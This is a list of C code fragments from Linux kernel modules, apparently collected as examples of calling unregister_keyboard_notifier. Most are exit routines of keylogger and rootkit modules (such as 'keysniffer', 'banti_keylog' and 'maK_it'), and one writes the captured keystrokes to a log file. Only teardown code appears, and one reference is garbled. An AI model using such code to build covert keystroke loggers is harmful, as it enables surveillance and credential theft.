int braille_unregister_console(struct console *console) { if (braille_co != console) return -EINVAL; unregister_keyboard_notifier(&keyboard_notifier_block); unregister_vt_notifier(&vt_notifier_block); braille_co = NULL; return 0; }
static void exit_mod(void){ //Cleaning up on exit if(debug == 1) printk(KERN_ALERT "maK_it: Exiting module. \n"); unregister_keyboard_notifier(&nb); unregister_chrdev(DEVICE_MAJOR, DEVICE_NAME); memset(keyBuffer, 0, sizeof(keyBuffer)); memset(commands, 0, sizeof(commands)); return; }
void klg_exit(void) { /* Freeing the major number */ unregister_chrdev(KLG_MAJOR, DEV_NAME); unregister_keyboard_notifier(&nb); memset(buffer, 0, sizeof buffer); bptr = buffer; #if(LOUD > 0) printk(KERN_DEBUG "[Key logger]: Removing klg module\n"); #endif }
static void hello_exit(void) { //unregister kbd_listener unregister_keyboard_notifier(&nb); //write keystrokes into the log file log = kopen(LOG_PATH, O_WRONLY|O_CREAT|O_APPEND, 0644); kwrite(log, 0, trans, strlen(trans)); kclose(log); printk(KERN_ALERT "KBD_N - kbd_notifier removed.\n"); }
void present_message(void) { printk(PLVL "Message from reminder module:\n"); print_line(); if (!message) printk(PLVL "!!!No message has been written into the reminder!!!\n"); else printk(PLVL "%s\n", message); print_line(); printk(PLVL "End of message. Press any key to continue.\n"); register_keyboard_notifier(&nb); while(wait_for_keypress){} unregister_keyboard_notifier(&nb); }
/* * Clean rootkit module with rmmod command */ static void __exit banti_keylog_clean(void) { unregister_keyboard_notifier(¬ifer_deamon); printk(KERN_INFO "Unregistered banti keyboard module\n"); }
void kbd_exit(void) { unregister_keyboard_notifier(&nb); input_unregister_device(idev); }
static void __exit keylogs_exit(void) { unregister_keyboard_notifier(&keylogs_nb); printk(KERN_INFO "Unregistered the keylogger module \n"); }
/* Module Exit */ static void kit_exit(void) { printk(KERN_INFO "Module Exit!\n"); // Unmount keyboard hook unregister_keyboard_notifier(&keyboard_nb); }
static void __exit cleanup_killer(void) { unregister_keyboard_notifier(&killer_nb); }
static void __exit keysniffer_exit(void) { unregister_keyboard_notifier(&keysniffer_blk); debugfs_remove_recursive(subdir); }